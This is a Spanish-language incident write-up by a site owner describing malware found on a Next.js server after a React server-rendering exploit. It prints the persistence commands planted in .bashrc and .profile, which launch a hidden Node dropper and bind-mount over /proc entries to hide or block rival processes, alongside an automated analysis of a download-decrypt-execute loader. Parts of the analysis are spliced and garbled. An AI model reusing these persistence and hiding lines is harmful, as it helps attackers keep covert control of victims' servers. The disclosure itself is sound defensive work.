
malware que encontré en mi servidor
Esto es un volcado de malware y otras basuras sospechosas que encontré en el servidor de mi sitio web de bodas tras el exploit de ejecución de código en el renderizado del lado del servidor de React. Es un droplet modesto de Digital Ocean que ejecuta una aplicación de Next.js bastante corriente.
El CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
Un registro de la actividad del servidor que muestra varios picos y demás:

El principal culpable parece ser esto instalado en /.local/share/.r0qsv8h1
En mi bashrc:
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
Observa que los pgreps están ahí para impedir que se ejecute este otro malware falso llamado "meshagent". Puedes leer más sobre ello en el documento MESHAGENT.md.
En mi profile está lo mismo
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
Puedes ver otros servicios sospechosos en SUSPICIOUS_SERVICES.md
Aquí tienes un análisis de este malware principal:
El directorio bad contiene un runtime de Node.js autocontenido junto con un conjunto de archivos JavaScript fuertemente ofuscados.
Toda la evidencia apunta a que se trata de un dropper malicioso que contacta silenciosamente con un servidor remoto, descarga una carga útil cifrada, la descifra, la escribe en disco y la ejecuta como un proceso en segundo plano desacoplado. El código también comprueba periódicamente si el servidor tiene actualizaciones.
La carga útil Base64 en .5f8562 se decodifica a:
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" hace referencia al script cargador ofuscado principal."0" es un UUID que probablemente usa el servidor remoto para el seguimiento."3" es una marca de tiempo (ms de época Unix) que indica cuándo se generó el manifiesto."4" indica la ubicación prevista (desktop), lo que sugiere que la carga útil podría intentar ocultarse allí.node .5f8562), el manifiesto apunta a .fvq2lzj6te.js.setInterval repite periódicamente la secuencia de descarga‑descifrado‑ejecución, lo que permite al atacante enviar cargas útiles nuevas o actualizadas sin necesidad de más interacción del usuario.PATH, cwd, etc.) y puede realizar acciones maliciosas típicas como criptominería, robo de credenciales o ejecución remota de comandos..r0qsv8h1 y cualquier archivo que haya podido crear (revisa el Desktop del usuario y los directorios temporales en busca de ejecutables recién creados).Este análisis fue realizado automáticamente por un asistente de IA basándose en un examen estático de los archivos presentes en el directorio. No se realizó ninguna ejecución en tiempo real.
Puedes leer más en DEOBFUSCATE.md
| Archivo | Descripción |
|---|
.394ly8v9/README.md | README estándar de Node.js – no está relacionado con la funcionalidad maliciosa; está presente solo para que el paquete parezca legítimo. |
.fvq2lzl64e.js | ~5 KB de JavaScript ofuscado. Construye una petición HTTP JSON‑RPC, recibe una carga útil codificada en base64, la descifra con un cifrado personalizado, escribe la carga útil en un archivo aleatorio y la ejecuta mediante child_process.spawn / execSync. También lanza un proceso en segundo plano desacoplado que sondea repetidamente el servidor remoto. |
.lauphhtqrg.js | ~13 KB de JavaScript ofuscado. Implementa un bucle similar de descarga‑descifrado‑ejecución con su propio cifrado de estilo RC4 (dec). Escribe la carga útil descifrada en un nombre de archivo generado y la ejecuta. Configura un temporizador para obtener nuevas cargas útiles más tarde. |
.5f8562 | Cadena Base64 en texto plano. Se decodifica a un pequeño manifiesto JSON: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } Este manifiesto le indica al cargador qué script ejecutar (.fvq2lzj6te.js) y proporciona un identificador/marca de tiempo. |
.b0rtqscrkeov | Aún no examinado, pero el patrón de nomenclatura sugiere que es otro componente de la misma cadena maliciosa. |
bin/node y los archivos lib/ que lo acompañan | Un runtime completo de Node.js, que permite que los scripts se ejecuten en un sistema aunque Node.js no esté instalado. |